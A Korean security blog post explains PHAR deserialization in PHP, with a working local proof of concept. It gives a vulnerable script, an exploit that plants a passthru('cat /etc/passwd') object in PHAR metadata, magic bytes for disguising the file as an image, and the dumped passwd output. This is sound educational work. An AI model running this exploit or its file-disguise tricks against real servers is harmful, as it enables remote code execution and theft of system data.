보안/웹

PHAR Deserialization Vulnerability

bde574786 2025. 4. 15. 18:21

PHAR(PHP Archive) 구조

PHAR 파일은 4가지의 구조로 이루어져있다.

  •  Stub
    • 작은 형태의 코드를 담을 수 있는 공간
    • __HALT_COMPILER(); 코드가 있어야 PHAR 파일로 인식
    • Stub을 지정하지 않으면 약 7KB 코드가 기본값으로 설정됨
  •  Manifest
    • 해당 PHAR 내부 파일에 대한 메타데이터 저장
    • setMeta(mixed $metadata) 함수를 통해 설정 가능
  •  File Contents
    • PHAR 내 데이터 영역
  •  Signature(Optional)
    • PHAR에 대한 시그니처

 
그 중 PHAR Manifest의 각 파일에는 다음 정보가 포함되어 있으며 마지막 바이트 부분에서 직렬화 포맷을 사용하고 있다.

 

따라서, 공격자는 Manifest의 serialize 영역에 의도적인 PHP 객체 페이로드를 심어 임의 코드 실행, 파일 삭제, SSRF 등 다양한 공격이 가능해진다.

 

트리거 조건

  • 공격 대상 클래스에 __destruct(), __wakeup() 같은 매직 메서드가 있어야 한다.
    • 객체에 매직 메서드가 정의되어 있다면, 공격자는 PHAR 파일 메타데이터에 악의적인 값을 삽입함으로써, 역직렬화 시 해당 메서드를 통해 악성 동작을 유발할 수 있다.
  • 공격자가 작성한 PHAR 파일을 서버에 업로드 할 수 있어야 하며, 업로드된 파일은 phar:// wrapper로 처리되어 취약한 함수에 전달되어야 한다.
    • 취약한 함수란 PHAR Stream Wrapper를 통해 내부적으로 Manifest를 파싱할 때 unserialize()를 호출하는 함수를 의미한다.
    • Manifest 섹션에 들어있는 직렬화된 데이터를 자동으로 역직렬화 하기 때문에 숨겨진 형태로 역직렬화가 작동한다.

 

취약한 함수

아래에 나열된 함수들은 phar:// 스킴이 포함된 경로를 인자로 전달받을 경우, 내부적으로 PHAR 아카이브의 메타데이터를 파싱하며, 이 과정에서 자동으로 unserialize()가 호출되어 역직렬화가 발생할 수 있는 함수들이다.

file()              filectime()         file_put_contents()    file_exists()
filetime()          fileatime()         fileinode()            filegroup()
fileowner()         file_get_contents() fopen()                fileperms()
is_dir()            is_readable()       is_executable()        is_writable()
is_writeable()      is_file()           is_link()              parse_ini_file()
copy()              unlink()            stat()                 readfile()
filesize()          filemtime()         filetype()             lstat()
mkdir()             rename()            rmdir()

 

확장자 우회

PHAR의 Stub 영역에 넣을 수 있는 매직 바이트는 주로 파일의 시그니처를 위장하는 용도로 사용된다. 이를 통해 허용된 확장자를 우회하는 동시에 내부적으로는 유효한 PHAR 포맷을 유지할 수 있다.

아래는 확장자 우회를 위한 대표적인 매직 바이트이다.

포맷 매직 바이트 (Stub에 넣는 값) 설명
JPEG \xFF\xD8\xFF .jpg 우회(가장 흔하게 쓰임)
PNG \x89PNG\r\n\x1A\n .png 우회
GIF GIF89a 또는 GIF87a .gif 우회
PDF %PDF-1.7 .pdf 우회
ZIP PK\x03\x04 .zip 우회 (PHAR 자체가 ZIP일 수도 있음)

 

PHAR 파일 생성

기본적으로 보안상 위험 때문에 PHP에서는 PHAR 파일을 생성할 수 없다. 이는 PHP 설정 파일(php.ini)에 있는 phar.readonly 설정 때문으로 이 값이 Off이면 PHAR 파일을 생성할 수 있다.

$ php --ini | grep php.ini
Configuration File (php.ini) Path: /etc/php/8.1/cli
Loaded Configuration File:         /etc/php/8.1/cli/php.ini

$ vi /etc/php/8.1/cli/php.ini
[Phar]
; https://php.net/phar.readonly
phar.readonly = Off

 

PHP 설정 파일 변경 없이 CLI에서 임시로 끄는 방법도 있다.

$ php -d phar.readonly=0 exploit.php

 

Exploit

익스플로잇 전 PHP 버전 확인이 필요하다. PHP 8.0 부터는 phar://가 더 이상 스트림 래퍼 작업에서 unserialize()를 자동으로 호출하지 않는다고 한다. 따라서, PHP < 8.0 환경이 필요하다.

참고로, 테스트하는 로컬 서버의 PHP 버전은 7.1이다.

$ php -v
PHP 7.1.33-67+ubuntu22.04.1+deb.sury.org+1 (cli) (built: Dec 24 2024 06:50:28) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.1.33-67+ubuntu22.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies

 

더보기

index.php

LFI로 path 경로에 원하는 PHAR 파일을 삽입할 수 있다.

<?php
class VulClass {
        public $hello = 'hello';
        public $name = 'hacker';
        function __destruct() {
                call_user_func($this->hello, $this->name);
        }
}

$filename = $_GET['path'];
file_exists($filename);

 

exploit.php

PHAR 파일을 생성하고 직렬화된 악성 객체를 주입하려는 코드이다.

<?php
class VulClass {
        public $hello = 'hello';
        public $name = 'hacker';

        function __destruct() {
                call_user_func($this->hello, $this->name);
        }
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER();?>');

$object = new VulClass();
$object->hello = 'passthru';
$object->name = 'cat /etc/passwd';

$phar->setMetadata($object);
$phar->stopBuffering();

 

다음과 같이 PHAR 파일을 생성하고 서버를 실행한다.

$ php exploit.php

$ ls
exploit.phar  exploit.php  index.php

$ php -S 127.0.0.1:8000
PHP 7.1.33-67+ubuntu22.04.1+deb.sury.org+1 Development Server started at Tue Apr 15 17:23:36 2025
Listening on http://127.0.0.1:8000
Document root is /home/alstn/php-exploit
Press Ctrl-C to quit.

 

위에서 생성한 PHAR 경로를 path에 넣어 요청하면 PHAR 파일 안에 심은 객체가 역직렬화 되어 RCE가 성공하게 된다.

$ curl "http://localhost:8000/?path=phar://exploit.phar"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
...

 

상세 분석

  1. 취약점을 재현하면서 서버의 있는 .phar 파일을 사용하였지만 실제 공격 시나리오는 파일 업로드 취약점이 먼저 존재해야 한다.
  2. 공격자는 .phar 파일을 생성하는 과정에서 setMetadata()를 이용해 악의적인 객체를 설정하고,이 객체는 내부적으로 PHP에 의해 직렬화되어 .phar 파일의 메타데이터 영역에 저장된다.
  3. 파일 업로드 취약점을 이용해, 공격자는 조작된 .phar 파일을 이미지 파일 등으로 가장한 뒤 서버에 업로드할 수 있다.
  4. 이후 서버 코드에서 업로드된 파일 경로에 대해 file_exists()와 같이 phar:// 스트림 래퍼를 허용하는 함수가 호출되면, PHP는 내부적으로 .phar 파일의 메타데이터를 파싱하고, 자동으로 unserialize()를 수행한다.
  5. 이 과정에서 공격자가 심어둔 객체가 복원되고, 그 안에 정의된 __destruct() 또는 __wakeup()과 같은 매직 메서드가 실행되면서 원격 코드 실행(RCE)으로 이어지게 된다.

따라서 이 취약점은 단독으로 존재하기보다는, 파일 업로드 + phar:// 접근이 가능한 함수 호출이라는 두 가지 조건이 충족되어야 실질적인 공격이 가능한 구조이다.

 

Reference